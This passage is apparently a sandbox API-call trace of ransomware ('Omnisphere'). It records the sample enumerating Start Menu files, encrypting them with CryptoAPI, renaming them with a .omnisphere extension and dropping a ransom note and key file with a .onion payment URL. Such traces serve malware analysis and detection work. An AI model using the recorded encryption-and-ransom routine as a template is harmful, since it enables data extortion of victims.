ftLastWriteTime.dwLowDateTime=0x92576074, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="Programs", cAlternateFileName="")) returned 1 [0130.398] GetProcessHeap () returned 0x1600000 [0130.398] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9a) returned 0x1656b68 [0130.398] PathCombineW (in: pszDest=0x1656b68, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu", pszFile="Programs" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs" [0130.398] GetProcessHeap () returned 0x1600000 [0130.398] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x1656eb0 [0130.398] PathCombineW (in: pszDest=0x1656eb0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*" [0130.398] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92576074, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0130.399] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3e1ed17a, ftCreationTime.dwHighDateTime=0x1d32720, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92576074, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="..", cAlternateFileName="")) returned 1 [0130.399] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3e9d102, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7977a532, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="Accessibility", cAlternateFileName="ACCESS~2")) returned 1 [0130.399] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xccacd784, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xccacd784, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0130.399] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x441842cf, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd3eed247, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xce494f1d, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0130.399] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xce317778, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0xc8, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0130.399] GetProcessHeap () returned 0x1600000 [0130.399] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x1725f80 [0130.399] PathCombineW (in: pszDest=0x1725f80, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="desktop.ini" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" [0130.399] StrStrW (lpFirst=".omnisphere", lpSrch=".ini") returned 0x0 [0130.399] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0130.400] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=174) returned 1 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.400] GetTickCount () returned 0x1160854 [0130.401] GetTickCount () returned 0x1160854 [0130.401] GetTickCount () returned 0x1160854 [0130.401] GetTickCount () returned 0x1160854 [0130.401] GetTickCount () returned 0x1160854 [0130.401] GetTickCount () returned 0x1160854 [0130.401] GetTickCount () returned 0x1160854 [0130.401] GetTickCount () returned 0x1160854 [0130.401] GetTickCount () returned 0x1160854 [0130.401] GetTickCount () returned 0x1160854 [0130.401] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16688a0) returned 1 [0130.402] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0130.402] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0130.402] CryptDestroyKey (hKey=0x1639b28) returned 1 [0130.402] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0130.402] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xae, lpName=0x0) returned 0x3c0 [0130.402] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xae) returned 0x1480000 [0130.403] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668df0) returned 1 [0130.403] CryptImportKey (in: hProv=0x1668df0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b28) returned 1 [0130.403] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0130.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0130.403] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0130.404] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0130.404] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0130.404] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0130.404] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0130.404] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0130.404] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0130.404] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0130.404] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0130.404] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0130.404] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0130.404] CryptDestroyKey (hKey=0x1639b28) returned 1 [0130.404] CryptReleaseContext (hProv=0x1668df0, dwFlags=0x0) returned 1 [0130.404] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xae, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0130.404] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0130.406] GetProcessHeap () returned 0x1600000 [0130.406] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2c2) returned 0x17275f8 [0130.406] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\desktop.ini"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\desktop.ini.omnisphere")) returned 1 [0130.416] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini.omnisphere.id" [0130.416] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\desktop.ini.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0130.417] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0130.419] CloseHandle (hObject=0x388) returned 1 [0130.420] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0130.420] CloseHandle (hObject=0x3c0) returned 1 [0130.420] SetEndOfFile (hFile=0x288) returned 1 [0130.893] FlushFileBuffers (hFile=0x288) returned 1 [0130.916] CloseHandle (hObject=0x288) returned 1 [0130.923] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs") returned 1 [0130.935] GetProcessHeap () returned 0x1600000 [0130.937] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17278c8 [0130.939] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0130.944] GetProcessHeap () returned 0x1600000 [0130.950] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fdde8 [0130.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fdde8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0130.950] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0130.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0130.951] GetProcessHeap () returned 0x1600000 [0130.951] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17100c0 [0130.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17100c0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0130.951] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0130.951] GetProcessHeap () returned 0x1600000 [0130.951] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xca) returned 0x16241b0 [0130.951] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\!DECRYPT_OMNISPHERE.txt" [0130.951] GetProcessHeap () returned 0x1600000 [0130.951] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1715a78 [0130.951] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0131.125] WriteFile (in: hFile=0x288, lpBuffer=0x1715a78*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1715a78*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0131.127] CloseHandle (hObject=0x288) returned 1 [0131.136] GetProcessHeap () returned 0x1600000 [0131.136] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17278c8 | out: hHeap=0x1600000) returned 1 [0131.137] GetProcessHeap () returned 0x1600000 [0131.137] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc0) returned 0x16415f0 [0131.137] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\unique_decrypt.key" [0131.137] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0131.139] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0131.140] CloseHandle (hObject=0x288) returned 1 [0131.142] GetProcessHeap () returned 0x1600000 [0131.142] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16415f0 | out: hHeap=0x1600000) returned 1 [0131.142] GetProcessHeap () returned 0x1600000 [0131.142] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1725f80 | out: hHeap=0x1600000) returned 1 [0131.142] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd3eedf4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1aa08e58, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc8, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0131.142] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f13cff3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x92576074, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x92aad258, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x944, dwReserved0=0x0, dwReserved1=0xc8, cFileName="OneDrive.lnk", cAlternateFileName="")) returned 1 [0131.142] GetProcessHeap () returned 0x1600000 [0131.142] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb4) returned 0x1726100 [0131.142] PathCombineW (in: pszDest=0x1726100, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs", pszFile="OneDrive.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk" [0131.142] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0131.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\OneDrive.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\onedrive.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0131.143] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2372) returned 1 [0131.143] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x420, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0131.143] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0131.145] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x944, lpName=0x0) returned 0x3c0 [0131.146] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0131.146] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0131.146] CloseHandle (hObject=0x3c0) returned 1 [0131.146] GetTickCount () returned 0x1160b42 [0131.146] GetTickCount () returned 0x1160b42 [0131.146] GetTickCount () returned 0x1160b42 [0131.146] GetTickCount () returned 0x1160b42 [0131.146] GetTickCount () returned 0x1160b42 [0131.146] GetTickCount () returned 0x1160b42 [0131.146] GetTickCount () returned 0x1160b42 [0131.146] GetTickCount () returned 0x1160b42 [0131.146] GetTickCount () returned 0x1160b42 [0131.146] GetTickCount () returned 0x1160b42 [0131.146] GetTickCount () returned 0x1160b42 [0131.146] GetTickCount () returned 0x1160b42 [0131.146] GetTickCount () returned 0x1160b42 [0131.146] GetTickCount () returned 0x1160b42 [0131.146] GetTickCount () returned 0x1160b42 [0131.146] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] GetTickCount () returned 0x1160b42 [0131.147] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16688a0) returned 1 [0131.148] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x16395e8) returned 1 [0131.148] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0131.148] CryptDestroyKey (hKey=0x16395e8) returned 1 [0131.148] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0131.148] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x944, lpName=0x0) returned 0x3c0 [0131.148] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x944) returned 0x1480000 [0131.149] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668df0) returned 1 [0131.149] CryptImportKey (in: hProv=0x1668df0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x16395e8) returned 1 [0131.149] CryptSetKeyParam (hKey=0x16395e8, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0131.150] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | 